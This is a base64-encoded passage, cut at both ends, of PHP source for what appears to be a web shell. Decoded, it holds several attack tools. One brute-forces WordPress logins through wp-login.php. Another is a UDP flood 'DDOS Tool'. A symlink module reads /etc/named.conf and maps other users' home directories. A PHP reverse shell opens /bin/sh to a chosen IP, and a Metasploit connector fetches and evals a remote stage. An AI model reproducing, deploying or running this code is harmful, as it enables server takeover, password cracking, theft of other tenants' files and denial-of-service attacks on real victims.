NVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7CgkJCQkJY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfVVJMLCRob3N0Licvd3AtbG9naW4ucGhwJyk7CgkJCQkJY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfQ09PS0lFSkFSLCJjb2tpLnR4dCIpOwoJCQkJCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX0NPT0tJRUZJTEUsImNva2kudHh0Iik7CgkJCQkJY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfRk9MTE9XTE9DQVRJT04sMSk7CgkJCQkJY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUE9TVCxUUlVFKTsKCQkJCQljdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9QT1NURklFTERTLCJsb2c9Ii4kdXNlcm5hbWUuIiZwd2Q9Ii4kcGFzc3dvcmQuIiZ3cC1zdWJtaXQ9R2lyaSYjODIwNzsiLiImcmVkaXJlY3RfdG89Ii4kd3BBZG1pbi4iJnRlc3Rjb29raWU9MSIpOwoJCQkJCSRsb2dpbiAgICA9CSAgIGN1cmxfZXhlYygkY2gpOwoKCQkJCQlpZihlcmVnaSAoInByb2ZpbGUucGhwIiwkbG9naW4pICkKCQkJCQl7CgkJCQkJCSRoYWNrZWQgPSAxOwoJCQkJCQllY2hvICI8cD4iLiRob3N0LiIgPT4gVXNlck5hbWUgOiBbPGZvbnQgY29sb3I9J2dyZWVuJz4iLiR1c2VybmFtZS4iPC9mb250Pl0gOiBQYXNzd29yZCA6IFs8Zm9udCBjb2xvcj0nZ3JlZW4nPiIuJHBhc3N3b3JkLiI8L2ZvbnQ+XTwvcD4iOwoJCQkJCQlvYl9mbHVzaCgpO2ZsdXNoKCk7YnJlYWs7CgkJCQkJfQoJCQkJfQoJCQkJaWYoJGhhY2tlZCA9PSAxKXticmVhazt9CgkJCX0KCQkJaWYoJGhhY2tlZCA9PSAwKQoJCQl7ZWNobyAiPHA+Ii4kaG9zdC4iID0+IDxmb250IGNvbG9yPSdyZWQnPkZhaWxlZCAhPC9mb250PjwvcD4iO29iX2ZsdXNoKCk7Zmx1c2goKTt9CgkJfQoJfQoJZWxzZSB7ZWNobyAiPHA+PGZvbnQgY29sb3I9J3JlZCc+QWxsIGZpZWxkcyBhcmUgUmVxdWlyZWQgISA8L2ZvbnQ+PC9wPiI7fQp9Cj8+CjwvdGQ+PC90cj4KPC90YWJsZT48L2Zvcm0+PC9jZW50ZXI+Cjw/cGhwCmZ1bmN0aW9uIHVybF9leGlzdHMoJHN0clVSTCkKewogICAgJHJlc1VSTCA9IGN1cmxfaW5pdCgpOwogICAgY3VybF9zZXRvcHQoJHJlc1VSTCwgQ1VSTE9QVF9VUkwsICRzdHJVUkwpOwogICAgY3VybF9zZXRvcHQoJHJlc1VSTCwgQ1VSTE9QVF9CSU5BUllUUkFOU0ZFUiwgMSk7CiAgICBjdXJsX3NldG9wdCgkcmVzVVJMLCBDVVJMT1BUX0hFQURFUkZVTkNUSU9OLCAnY3VybEhlYWRlckNhbGxiYWNrJyk7CiAgICBjdXJsX3NldG9wdCgkcmVzVVJMLCBDVVJMT1BUX0ZBSUxPTkVSUk9SLCAxKTsKICAgIGN1cmxfZXhlYyAoJHJlc1VSTCk7CiAgICAkaW50UmV0dXJuQ29kZSA9IGN1cmxfZ2V0aW5mbygkcmVzVVJMLCBDVVJMSU5GT19IVFRQX0NPREUpOwogICAgY3VybF9jbG9zZSAoJHJlc1VSTCk7CiAgICBpZiAoJGludFJldHVybkNvZGUgIT0gMjAwKXtyZXR1cm4gZmFsc2U7fQoJZWxzZXtyZXR1cm4gdHJ1ZSA7fQp9CmZ1bmN0aW9uIGZpbHRlcigkc3RyaW5nKQp7CglpZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpICE9IDApe3JldHVybiBzdHJpcHNsYXNoZXMoJHN0cmluZyk7CX0KCWVsc2V7cmV0dXJuICRzdHJpbmc7CX0KfQpmdW5jdGlvbiBSZW1vdmVMYXN0U2xhc2goJGhvc3QpCnsKCWlmKHN0cnJwb3MoJGhvc3QsICcvJywgLTEpID09IHN0cmxlbigkaG9zdCktMSkKCXtyZXR1cm4gc3Vic3RyKCRob3N0LDAsc3RycnBvcygkaG9zdCwgJy8nLCAtMSkpO30KCWVsc2V7cmV0dXJuICRob3N0O30KfQplY2hvICI8L3A+IjsKfQoKCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2RvcycpKQp7CQo/Pgo8Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDsgPz4mYW1wO3g9ZG9zIiBtZXRob2Q9InBvc3QiPgo8Y2VudGVyPjxicj48YnI+PGJyPgpZb3VyIElQOiA8Zm9udCBjb2xvcj0icmVkIj48Yj48P3BocCBlY2hvICRteV9pcDsgPz48L2I+PC9mb250PiZuYnNwOyhEb24ndCBERE9TIHlvdXJzZWxmIG5vb2IpPGJyPjxicj4KPHRhYmxlIGNsYXNzPSJ0YWJuZXQiIHN0eWxlPSJ3aWR0aDozMzNweDtwYWRkaW5nOjAgMXB4OyI+Cjx0aCBjb2xzcGFuPSI1Ij5ERE9TIFRvb2w8L3RoPgo8dHI+PHRyPjx0ZD5JUCBUYXJnZXQ8L3RkPjx0ZD46PC90ZD4KPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iaW5wdXR6IiBuYW1lPSJpcCIgc2l6ZT0iNDgiIG1heGxlbmd0aD0iMjUiICB2YWx1ZSA9ICIwLjAuMC4wIiBvbmJsdXIgPSAiaWYgKCB0aGlzLnZhbHVlPT0nJyApIHRoaXMudmFsdWUgPSAnMC4wLjAuMCc7IiBvbmZvY3VzID0gIiBpZiAoIHRoaXMudmFsdWUgPT0gJzAuMC4wLjAnICkgdGhpcy52YWx1ZSA9ICcnOyIvPgo8L3RkPjwvdHI+Cjx0cj48dGQ+VGltZTwvdGQ+PHRkPjo8L3RkPgo8dGQ+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJpbnB1dHoiIG5hbWU9InRpbWUiIHNpemU9IjQ4IiBtYXhsZW5ndGg9IjI1IiAgdmFsdWUgPSAidGltZSAoaW4gc2Vjb25kcykiIG9uYmx1ciA9ICJpZiAoIHRoaXMudmFsdWU9PScnICkgdGhpcy52YWx1ZSA9ICd0aW1lIChpbiBzZWNvbmRzKSc7IiBvbmZvY3VzID0gIiBpZiAoIHRoaXMudmFsdWUgPT0gJ3RpbWUgKGluIHNlY29uZHMpJyApIHRoaXMudmFsdWUgPSAnJzsiLz4KPC90ZD48L3RyPgoKPHRyPjx0ZD5Qb3J0PC90ZD48dGQ+OjwvdGQ+Cjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImlucHV0eiIgbmFtZT0icG9ydCIgc2l6ZT0iNDgiIG1heGxlbmd0aD0iNSIgIHZhbHVlID0gInBvcnQiIG9uYmx1ciA9ICJpZiAoIHRoaXMudmFsdWU9PScnICkgdGhpcy52YWx1ZSA9ICdwb3J0JzsiIG9uZm9jdXMgPSAiIGlmICggdGhpcy52YWx1ZSA9PSAncG9ydCcgKSB0aGlzLnZhbHVlID0gJyc7Ii8+CjwvdGQ+PC90cj48L3RyPjwvdGFibGU+PC9iPjxicj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImlucHV0emJ1dCIgbmFtZT0iZmlyZSIgdmFsdWU9IiAgRmlyZWUgISEhICAgIj4KPGJyPjxicj4KPGNlbnRlcj4KQWZ0ZXIgaW5pdGlhdGluZyB0aGUgRERPUyBhdHRhY2ssIHBsZWFzZSB3YWl0IHdoaWxlIHRoZSBicm93c2VyIGxvYWRzLgo8L2NlbnRlcj4KCjwvZm9ybT4KPC9jZW50ZXI+Cjw/cGhwCiRzdWJtaXQgPSAkX1BPU1RbJ2ZpcmUnXTsKaWYgKGlzc2V0KCRzdWJtaXQpKSB7CgokcGFja2V0cyA9IDA7CiRpcCA9ICRfUE9TVFsnaXAnXTsKJHJhbmQgPSAkX1BPU1RbJ3BvcnQnXTsKc2V0X3RpbWVfbGltaXQoMCk7Cmlnbm9yZV91c2VyX2Fib3J0KEZBTFNFKTsKCiRleGVjX3RpbWUgPSAkX1BPU1RbJ3RpbWUnXTsKCiR0aW1lID0gdGltZSgpOwpwcmludCAiRmxvb2RlZDogJGlwIG9uIHBvcnQgJHJhbmQgPGJyPjxicj4iOwokbWF4X3RpbWUgPSAkdGltZSskZXhlY190aW1lOwoKCgpmb3IoJGk9MDskaTw2NTUzNTskaSsrKXsKICAgICAgICAkb3V0IC49ICJYIjsKfQp3aGlsZSgxKXsKJHBhY2tldHMrKzsKICAgICAgICBpZih0aW1lKCkgPiAkbWF4X3RpbWUpewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgICAgIAogICAgICAgICRmcCA9IGZzb2Nrb3BlbigidWRwOi8vJGlwIiwgJHJhbmQsICRlcnJubywgJGVycnN0ciwgNSk7CiAgICAgICAgaWYoJGZwKXsKICAgICAgICAgICAgICAgIGZ3cml0ZSgkZnAsICRvdXQpOwogICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgfQp9CmVjaG8gIlBhY2tldCBjb21wbGV0ZSBhdCAiLnRpbWUoJ2g6aTpzJykuIiB3aXRoICRwYWNrZXRzICgiIC4gcm91bmQoKCRwYWNrZXRzKjY1KS8xMDI0LCAyKSAuICIgbUIpIHBhY2tldHMgYXZlcmFnaW5nICIuIHJvdW5kKCRwYWNrZXRzLyRleGVjX3RpbWUsIDIpIC4gIiBwYWNrZXRzL3MgXG4iOwp9Cn0KCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnc3ltbGluaycpKQp7CQo/Pgo8Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDsgPz4mYW1wO3g9c3ltbGluayIgbWV0aG9kPSJwb3N0Ij4KCjw/cGhwICAgCgpAc2V0X3RpbWVfbGltaXQoMCk7CgplY2hvICI8YnI+PGJyPjxjZW50ZXI+PGgxPi0tPT1bIFN5bWxpbmsgXT09LS08L2gxPjwvY2VudGVyPjxicj48YnI+PGNlbnRlcj48ZGl2IGNsYXNzPWNvbnRlbnQ+IjsKCkBta2Rpcignc3ltJywwNzc3KTsKJGh0YWNjZXNzICA9ICJPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJbmRleCBTdXguaHRtbCBcbiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCBcbiBBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocCBcbiAgQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIFxuIEFkZEhhbmRsZXIgdHh0IC5odG1sIFxuIFJlcXVpcmUgTm9uZSBcbiBTYXRpc2Z5IEFueSI7CiR3cml0ZSA9QGZvcGVuICgnc3ltLy5odGFjY2VzcycsJ3cnKTsKZndyaXRlKCR3cml0ZSAsJGh0YWNjZXNzKTsKQHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOwokZmlsZWxvY2F0aW9uID0gYmFzZW5hbWUoX19GSUxFX18pOwokcmVhZF9uYW1lZF9jb25mID0gQGZpbGUoJy9ldGMvbmFtZWQuY29uZicpOwppZighJHJlYWRfbmFtZWRfY29uZikKewplY2hvICI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPiMgQ2FudCBhY2Nlc3MgdGhpcyBmaWxlIG9uIHNlcnZlciAtPiBbIC9ldGMvbmFtZWQuY29uZiBdPC9wcmU+PC9jZW50ZXI+IjsgCn0KZWxzZQp7CmVjaG8gIjxicj48YnI+PGRpdiBjbGFzcz0ndG1wJz48dGFibGUgYm9yZGVyPScxJyBib3JkZXJjb2xvcj0nI0ZGMDAwMCcgd2lkdGg9JzUwMCcgY2VsbHBhZGRpbmc9JzEnIGNlbGxzcGFjaW5nPScwJz48dGQ+RG9tYWluczwvdGQ+PHRkPlVzZXJzPC90ZD48dGQ+c3ltbGluayA8L3RkPiI7CmZvcmVhY2goJHJlYWRfbmFtZWRfY29uZiBhcyAkc3ViamVjdCl7CmlmKGVyZWdpKCd6b25lJywkc3ViamVjdCkpewpwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsJHN1YmplY3QsJHN0cmluZyk7CmZsdXNoKCk7CmlmKHN0cmxlbih0cmltKCRzdHJpbmdbMV1bMF0pKSA+Mil7CiRVSUQgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCcvZXRjL3ZhbGlhc2VzLycuJHN0cmluZ1sxXVswXSkpOwokbmFtZSA9ICRVSURbJ25hbWUnXSA7CkBzeW1saW5rKCcvJywnc3ltL3Jvb3QnKTsKJG5hbWUgICA9ICRzdHJpbmdbMV1bMF07CiRpcmFuICAgPSAnXC5pcic7CiRpc3JhZWwgPSAnXC5pbCc7CiRpbmRvICAgPSAnXC5pZCc7CiRzZzEyICAgPSAnXC5zZyc7CiRlZHUgICAgPSAnXC5lZHUnOwokZ292ICAgID0gJ1wuZ292JzsKJGdvc2UgICA9ICdcLmdvJzsKJGdvYmVyICA9ICdcLmdvYic7CiRtaWwxICAgPSAnXC5taWwnOwokbWlsMiAgID0gJ1wubWknOwokbWFsYXkJPSAnXC5teSc7CiRjaGluYQk9ICdcLmNuJzsKJGphcGFuCT0gJ1wuanAnOwokYXVzdHIJPSAnXC5hdSc7CiRwb3JuCT0gJ1wueHh4JzsKJGFzCQk9ICdcLnVrJzsKJGNhbGZuCT0gJ1wuY2EnOwoKaWYgKGVyZWdpKCIkaXJhbiIsJHN0cmluZ1sxXVswXSkgb3IgZXJlZ2koIiRpc3JhZWwiLCRzdHJpbmdbMV1bMF0pIG9yIGVyZWdpKCIkaW5kbyIsJHN0cmluZ1sxXVswXSlvciBlcmVnaSgiJHNnMTIiLCRzdHJpbmdbMV1bMF0pIG9yIGVyZWdpICgiJGVkdSIsJHN0cmluZ1sxXVswXSkgb3IgZXJlZ2kgKCIkZ292Iiwkc3RyaW5nWzFdWzBdKQpvciBlcmVnaSAoIiRnb3NlIiwkc3RyaW5nWzFdWzBdKSBvciBlcmVnaSgiJGdvYmVyIiwkc3RyaW5nWzFdWzBdKSBvciBlcmVnaSgiJG1pbDEiLCRzdHJpbmdbMV1bMF0pIG9yIGVyZWdpICgiJG1pbDIiLCRzdHJpbmdbMV1bMF0pCm9yIGVyZWdpICgiJG1hbGF5Iiwkc3RyaW5nWzFdWzBdKSBvciBlcmVnaSgiJGNoaW5hIiwkc3RyaW5nWzFdWzBdKSBvciBlcmVnaSgiJGphcGFuIiwkc3RyaW5nWzFdWzBdKSBvciBlcmVnaSAoIiRhdXN0ciIsJHN0cmluZ1sxXVswXSkKb3IgZXJlZ2koIiRwb3JuIiwkc3RyaW5nWzFdWzBdKSBvciBlcmVnaSgiJGFzIiwkc3RyaW5nWzFdWzBdKSBvciBlcmVnaSAoIiRjYWxmbiIsJHN0cmluZ1sxXVswXSkpCnsKJG5hbWUgPSAiPGRpdiBzdHlsZT0nIGNvbG9yOiAjRkYwMDAwIDsgdGV4dC1zaGFkb3c6IDBweCAwcHggMXB4IHJlZDsgJz4iLiRzdHJpbmdbMV1bMF0uJzwvZGl2Pic7Cn0KZWNobyAiCjx0cj4KCjx0ZD4KPGRpdiBjbGFzcz0nZG9tJz48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj1odHRwOi8vd3d3LiIuJHN0cmluZ1sxXVswXS4nLz4nLiRuYW1lLicgPC9hPiA8L2Rpdj4KPC90ZD4KCjx0ZD4KJy4kVUlEWyduYW1lJ10uIgo8L3RkPgoKPHRkPgo8YSBocmVmPSdzeW0vcm9vdC9ob21lLyIuJFVJRFsnbmFtZSddLiIvcHVibGljX2h0bWwnIHRhcmdldD0nX2JsYW5rJz5TeW1saW5rIDwvYT4KPC90ZD4KCjwvdHI+PC9kaXY+ICI7CmZsdXNoKCk7Cn0KfQp9Cn0KCmVjaG8gIjwvY2VudGVyPjwvdGFibGU+IjsgICAKCn0KCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnZG9tYWluJykpCnsJCj8+Cjxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOyA/PiZhbXA7eD1kb21haW4iIG1ldGhvZD0icG9zdCI+Cgo8P3BocAoKZWNobyAnPGJyPjxicj48Y2VudGVyPjxoMT4tLT09WyBMb2NhbCBEb21haW4gVmlld2VyIF09PS0tPC9oMT48L2NlbnRlcj48YnI+PGJyPjxkaXYgY2xhc3M9Y29udGVudD4nOwoKJGZpbGUgPSBAaW1wbG9kZShAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIikpOwppZighJGZpbGUpeyBkaWUoIiMgY2FuJ3QgUmVhRCAtPiBbIC9ldGMvbmFtZWQuY29uZiBdIik7IH0KcHJlZ19tYXRjaF9hbGwoIiNuYW1lZC8oLio/KS5kYiMiLCRmaWxlICwkcik7CiRkb21haW5zID0gYXJyYXlfdW5pcXVlKCRyWzFdKTsKLy9jaGVjaygpOwovL2lmKGlzc2V0KCRfR0VUWydTaG93QWxsJ10pKQp7CmVjaG8gIjx0YWJsZSBhbGlnbj1jZW50ZXIgYm9yZGVyPTEgd2lkdGg9NTklIGNlbGxwYWRkaW5nPTU+Cjx0cj48dGQgY29sc3Bhbj0yPlsrXSBUaGVyZSBhcmUgOiBbIDxiPiIuY291bnQoJGRvbWFpbnMpLiI8L2I+IF0gRG9tYWluPC90ZD48L3RyPgo8dHI+PHRkPkRvbWFpbjwvdGQ+PHRkPlVzZXI8L3RkPjwvdHI+IjsKZm9yZWFjaCgkZG9tYWlucyBhcyAkZG9tYWluKXsKJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbikpOwoKCQllY2hvICI8dHI+PHRkPiRkb21haW48L3RkPjx0ZD4iLiR1c2VyWyduYW1lJ10uIjwvdGQ+PC90cj4iOwoJCX0KCWVjaG8gIjwvdGFibGU+IjsKCX0KCmVjaG8gJzwvZGl2Pic7Cn0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAndG9vbCcpKQp7CQo/Pgo8Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDsgPz4mYW1wO3g9dG9vbCIgbWV0aG9kPSJwb3N0Ij4KPD9waHAKCmVycm9yX3JlcG9ydGluZygwKTsKZnVuY3Rpb24gc3MoJHQpe2lmICghZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgcmV0dXJuIHRyaW0odXJsZGVjb2RlKCR0KSk7cmV0dXJuIHRyaW0odXJsZGVjb2RlKHN0cmlwc2xhc2hlcygkdCkpKTt9CiRzX215X2lwID0gZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pOyRyc3BvcnQgPSAiNDQzIjskcnNwb3J0YjQgPSAkcnNwb3J0OyRyc3RhcmdldDQgPSAkc19teV9pcDskc19yZXN1bHQgPSAiPGJyPjxicj48YnI+PGNlbnRlcj48dGFibGU+PGRpdiBjbGFzcz0nbXlib3gnIGFsaWduPSdjZW50ZXInPjx0ZD48aDI+UmV2ZXJzZSBzaGVsbCAoIHBocCApPC9oMj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGFjdGlvbnM9Jz95PTw/cGhwIGVjaG8gJHB3ZDs/PiZhbXA7eD0ndG9vbCc+PHRhYmxlIGNsYXNzPSd0YWJuZXQnPjx0cj48dGQgc3R5bGU9J3dpZHRoOjExMHB4Oyc+WW91ciBJUDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6MTAwJTsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J3JzdGFyZ2V0NCcgdmFsdWU9JyIuJHJzdGFyZ2V0NC4iJyAvPjwvdGQ+PC90cj48dHI+PHRkPlBvcnQ8L3RkPjx0ZD48aW5wdXQgc3R5bGU9J3dpZHRoOjEwMCU7JyBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyBuYW1lPSdzcWxwb3J0YjQnIHZhbHVlPSciLiRyc3BvcnRiNC4iJyAvPjwvdGQ+PC90cj48L3RhYmxlPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3hiYWNrX3BocCcgY2xhc3M9J2lucHV0emJ1dCcgdmFsdWU9J2Nvbm5lY3QnIHN0eWxlPSd3aWR0aDoxMjBweDtoZWlnaHQ6MzBweDttYXJnaW46MTBweCAycHggMCAycHg7JyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2QnIHZhbHVlPSciLiRwd2QuIicgLz48L2Zvcm0+PC90ZD48dGQ+PGhyIGNvbG9yPScjNEM4M0FGJz48dGQ+PHRkPjxmb3JtIG1ldGhvZD0nUE9TVCc+PHRhYmxlIGNsYXNzPSd0YWJuZXQnPjxoMj5NZXRhc3Bsb2l0IENvbm5lY3Rpb24gPC9oMj48dHI+PHRkIHN0eWxlPSd3aWR0aDoxMTBweDsnPllvdXIgSVA8L3RkPjx0ZD48aW5wdXQgc3R5bGU9J3dpZHRoOjEwMCU7JyBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyBzaXplPSc0MCcgbmFtZT0neWlwJyB2YWx1ZT0nIi4kbXlfaXAuIicgLz48L3RkPjwvdHI+PHRyPjx0ZD5Qb3J0PC90ZD48dGQ+PGlucHV0IHN0eWxlPSd3aWR0aDoxMDAlOycgY2xhc3M9J2lucHV0eicgdHlwZT0ndGV4dCcgc2l6ZT0nNScgbmFtZT0neXBvcnQnIHZhbHVlPSc0NDMnIC8+PC90ZD48L3RyPjwvdGFibGU+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0Nvbm5lY3QnIG5hbWU9J21ldGFDb25uZWN0JyBzdHlsZT0nd2lkdGg6MTIwcHg7aGVpZ2h0OjMwcHg7bWFyZ2luOjEwcHggMnB4IDAgMnB4Oyc+PC9mb3JtPjwvdGQ+PC9kaXY+PC9jZW50ZXI+PC90YWJsZT48YnI+PGJyIC8+IjsKZWNobyAkc19yZXN1bHQ7CmlmKCRfUE9TVFsnbWV0YUNvbm5lY3QnXSl7JGlwYWRkciA9ICRfUE9TVFsneWlwJ107JHBvcnQgPSAkX1BPU1RbJ3lwb3J0J107aWYgKCRpcCA9PSAiIiAmJiAkcG9ydCA9PSAiIil7ZWNobyAiZmlsbCBpbiB0aGUgYmxhbmtzIjt9ZWxzZSB7aWYgKEZBTFNFICE9PSBzdHJwb3MoJGlwYWRkciwgIjoiKSkgeyRpcGFkZHIgPSAiWyIuICRpcGFkZHIgLiJdIjt9aWYgKGlzX2NhbGxhYmxlKCdzdHJlYW1fc29ja2V0X2NsaWVudCcpKXskbXNnc29jayA9IHN0cmVhbV9zb2NrZXRfY2xpZW50KCJ0Y3A6Ly97JGlwYWRkcn06eyRwb3J0fSIpO2lmICghJG1zZ3NvY2spe2RpZSgpO30kbXNnc29ja190eXBlID0gJ3N0cmVhbSc7fWVsc2VpZiAoaXNfY2FsbGFibGUoJ2Zzb2Nrb3BlbicpKXskbXNnc29jayA9IGZzb2Nrb3BlbigkaXBhZGRyLCRwb3J0KTtpZiAoISRtc2dzb2NrKSB7ZGllKCk7IH0kbXNnc29ja190eXBlID0gJ3N0cmVhbSc7fWVsc2VpZiAoaXNfY2FsbGFibGUoJ3NvY2tldF9jcmVhdGUnKSl7JG1zZ3NvY2sgPSBzb2NrZXRfY3JlYXRlKEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBTT0xfVENQKTskcmVzID0gc29ja2V0X2Nvbm5lY3QoJG1zZ3NvY2ssICRpcGFkZHIsICRwb3J0KTtpZiAoISRyZXMpIHtkaWUoKTsgfSRtc2dzb2NrX3R5cGUgPSAnc29ja2V0Jzt9ZWxzZSB7ZGllKCk7fXN3aXRjaCAoJG1zZ3NvY2tfdHlwZSl7Y2FzZSAnc3RyZWFtJzogJGxlbiA9IGZyZWFkKCRtc2dzb2NrLCA0KTsgYnJlYWs7Y2FzZSAnc29ja2V0JzogJGxlbiA9IHNvY2tldF9yZWFkKCRtc2dzb2NrLCA0KTsgYnJlYWs7fWlmICghJGxlbikge2RpZSgpO30kYSA9IHVucGFjaygiTmxlbiIsICRsZW4pOyRsZW4gPSAkYVsnbGVuJ107JGJ1ZmZlciA9ICcnO3doaWxlIChzdHJsZW4oJGJ1ZmZlcikgPCAkbGVuKXtzd2l0Y2ggKCRtc2dzb2NrX3R5cGUpIHtjYXNlICdzdHJlYW0nOiAkYnVmZmVyIC49IGZyZWFkKCRtc2dzb2NrLCAkbGVuLXN0cmxlbigkYnVmZmVyKSk7IGJyZWFrO2Nhc2UgJ3NvY2tldCc6ICRidWZmZXIgLj0gc29ja2V0X3JlYWQoJG1zZ3NvY2ssICRsZW4tc3RybGVuKCRidWZmZXIpKTticmVhazt9fWV2YWwoJGJ1ZmZlcik7ZWNobyAiWypdIENvbm5lY3Rpb24gVGVybWluYXRlZCI7ZGllKCk7fX0KaWYoaXNzZXQoJF9SRVFVRVNUWydzcWxwb3J0YjQnXSkpICRyc3BvcnRiNCA9IHNzKCRfUkVRVUVTVFsnc3FscG9ydGI0J10pOwppZihpc3NldCgkX1JFUVVFU1RbJ3JzdGFyZ2V0NCddKSkgJHJzdGFyZ2V0NCA9IHNzKCRfUkVRVUVTVFsncnN0YXJnZXQ0J10pOwppZiAoJF9QT1NUWyd4YmFja19waHAnXSkgeyRpcCA9ICRyc3RhcmdldDQ7JHBvcnQgPSAkcnNwb3J0YjQ7JGNodW5rX3NpemUgPSAxMzM3OyR3cml0ZV9hID0gbnVsbDskZXJyb3JfYSA9IG51bGw7JHNoZWxsID0gJy9iaW4vc2gnOyRkYWVtb24gPSAwOyRkZWJ1ZyA9IDA7aWYoZnVuY3Rpb25fZXhpc3RzKCdwY250bF9mb3JrJykpeyRwaWQgPSBwY250bF9mb3JrKCk7CmlmICgkcGlkID09IC0xKSBleGl0KDEpO2lmICgkcGlkKSBleGl0KDApO2lmIChwb3NpeF9zZXRzaWQoKSA9PSAtMSkgZXhpdCgxKTskZGFlbW9uID0gMTt9CnVtYXNrKDApOyRzb2NrID0gZnNvY2tvcGVuKCRpcCwgJHBvcnQsICRlcnJubywgJGVycnN0ciwgMzApO2lmKCEkc29jaykgZXhpdCgxKTsKJGRlc2NyaXB0b3JzcGVjID0gYXJyYXkoMCA9PiBhcnJheSgicGlwZSIsICJyIiksIDEgPT4gYXJyYXkoInBpcGUiLCAidyIpLCAyID0+IGFycmF5KCJwaXBlIiwgInciKSk7CiRwcm9jZXNzID0gcHJvY19vcGVuKCRzaGVsbCwgJGRlc2NyaXB0b3JzcGVjLCAkcGlwZXMpOwppZighaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSBleGl0KDEpOwpzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBlc1swXSwgMCk7CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcGVzWzFdLCAwKTsKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMl0sIDApOwpzdHJlYW1fc2V0X2Jsb2NraW5nKCRzb2NrLCAwKTsKd2hpbGUoMSl7aWYoZmVvZigkc29jaykpIGJyZWFrO2lmKGZlb2YoJHBpcGVzWzFdKSkgYnJlYWs7JHJlYWRfYSA9IGFycmF5KCRzb2NrLCAkcGlwZXNbMV0sICRwaXBlc1syXSk7JG51bV9jaGFuZ2VkX3NvY2tldHMgPSBzdHJlYW1fc2VsZWN0KCRyZWFkX2EsICR3cml0ZV9hLCAkZXJyb3JfYSwgbnVsbCk7CmlmKGluX2FycmF5KCRzb2NrLCAkcmVhZF9hKSl7JGlucHV0ID0gZnJlYWQoJHNvY2ssICRjaHVua19zaXplKTtmd3JpdGUoJHBpcGVzWzBdLCAkaW5wdXQpO30KaWYoaW5fYXJyYXkoJHBpcGVzWzFdLCAkcmVhZF9hKSl7JGlucHV0ID0gZnJlYWQoJHBpcGVzWzFdLCAkY2h1bmtfc2l6ZSk7ZndyaXRlKCRzb2NrLCAkaW5wdXQpO30KaWYoaW5fYXJyYXkoJHBpcGVzWzJdLCAkcmVhZF9hKSl7JGlucHV0ID0gZnJlYWQoJHBpcGVzWzJdLCAkY2h1bmtfc2l6ZSk7ZndyaXRlKCRzb2NrLCAkaW5wdXQpO319ZmNsb3NlKCRzb2NrKTtmY2xvc2UoJHBpcGVzWzBdKTtmY2xvc2UoJHBpcGVzWzFdKTtmY2xvc2UoJHBpcGVzWzJdKTtwcm9jX2Nsb3NlKCRwcm9jZXNzKTskcnNyZXMgPSAiICI7JHNfcmVzdWx0IC49ICRyc3Jlczt9Cn0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwplbHNla